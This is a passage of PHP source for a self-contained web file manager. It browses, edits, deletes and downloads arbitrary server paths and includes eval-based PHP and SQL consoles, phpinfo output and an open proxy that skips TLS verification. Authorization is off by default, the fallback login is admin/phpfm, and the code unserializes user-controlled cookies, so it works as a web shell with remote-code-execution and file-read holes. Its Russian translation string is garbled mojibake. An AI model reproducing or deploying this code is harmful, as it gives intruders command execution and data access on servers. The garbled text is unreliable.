$translation = '{"id":"ru","Add":"����ҧѧӧڧ��","Are you sure you want to delete this directory (recursively)?":"���� ��ӧ֧�֧ߧ�, ���� ����ڧ�� ��էѧݧڧ�� ���� ��ѧ�ܧ� (��֧ܧ���ڧӧߧ�)?","Are you sure you want to delete this file?":"���� ��ӧ֧�֧ߧ�, ���� ����ڧ�� ��էѧݧڧ�� ����� ��ѧۧ�?","Archiving":"�����ڧӧڧ��ӧѧ��","Authorization":"���ӧ���ڧ٧ѧ�ڧ�","Back":"���ѧ٧ѧ�","Cancel":"����ާ֧ߧ�","Chinese":"���ڧ�ѧۧ�ܧڧ�","Compress":"���اѧ��","Console":"����ߧ��ݧ�","Cookie":"����ܧ�","Created":"����٧էѧ�","Date":"���ѧ��","Days":"���ߧ֧�","Decompress":"���ѧ��ѧܧ�ӧѧ��","Delete":"���էѧݧڧ��","Deleted":"���էѧݧ֧ߧ�","Download":"���ܧѧ�ѧ��","done":"�٧ѧܧ�ߧ�֧ߧ�","Edit":"���֧էѧܧ�ڧ��ӧѧ��","Enter":"������","English":"���ߧԧݧڧۧ�ܧڧ�","Error occurred":"�����ڧ٧��ݧ� ���ڧҧܧ�","File manager":"���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧�","File selected":"����ҧ�ѧ� ��ѧۧ�","File updated":"���ѧۧ� �����ѧߧ֧�","Filename":"���ާ� ��ѧۧݧ�","Files uploaded":"���ѧۧ� �٧ѧԧ��ا֧�","French":"����ѧߧ��٧�ܧڧ�","Generation time":"���֧ߧ֧�ѧ�ڧ� ����ѧߧڧ��","German":"���֧ާ֧�ܧڧ�","Home":"����ާ��","Quit":"�������","Language":"���٧��","Login":"����ԧڧ�","Manage":"�����ѧӧݧ֧ߧڧ�","Make directory":"����٧էѧ�� ��ѧ�ܧ�","Name":"���ѧڧާ֧ߧ�ӧѧߧڧ�","New":"����ӧ��","New file":"����ӧ�� ��ѧۧ�","no files":"�ߧ֧� ��ѧۧݧ��","Password":"���ѧ��ݧ�","pictures":"�ڧ٧�ҧ�ѧا֧ߧڧ�","Recursively":"���֧ܧ���ڧӧߧ�","Rename":"���֧�֧ڧާ֧ߧ�ӧѧ��","Reset":"���ҧ���ڧ��","Reset settings":"���ҧ���ڧ�� �ߧѧ����ۧܧ�","Restore file time after editing":"�������ѧߧѧӧݧڧӧѧ�� �ӧ�֧ާ� ��ѧۧݧ� ����ݧ� ��֧էѧܧ�ڧ��ӧѧߧڧ�","Result":"���֧٧�ݧ��ѧ�","Rights":"����ѧӧ�","Russian":"������ܧڧ�","Save":"������ѧߧڧ��","Select":"����ҧ֧�ڧ��","Select the file":"����ҧ֧�ڧ�� ��ѧۧ�","Settings":"���ѧ����ۧܧ�","Show":"����ܧѧ٧ѧ��","Show size of the folder":"����ܧѧ٧�ӧѧ�� ��ѧ٧ާ֧� ��ѧ�ܧ�","Size":"���ѧ٧ާ֧�","Spanish":"�����ѧߧ�ܧڧ�","Submit":"������ѧӧڧ��","Task":"���ѧէѧ��","templates":"��ѧҧݧ�ߧ�","Ukrainian":"���ܧ�ѧڧߧ�ܧڧ�","Upload":"���ѧԧ��٧ڧ��","Value":"���ߧѧ�֧ߧڧ�","Hello":"����ڧӧ֧�","Found in files":"���ѧۧէ֧ߧ� �� ��ѧۧݧѧ�","Search":"����ڧ��","Recursive search":"���֧ܧ���ڧӧߧ�� ���ڧ��","Mask":"���ѧ�ܧ�"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size �� maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' �� '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//�ܧѧ�-��� ���ا� ���էާ֧ߧ��� �ߧѧէ�
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
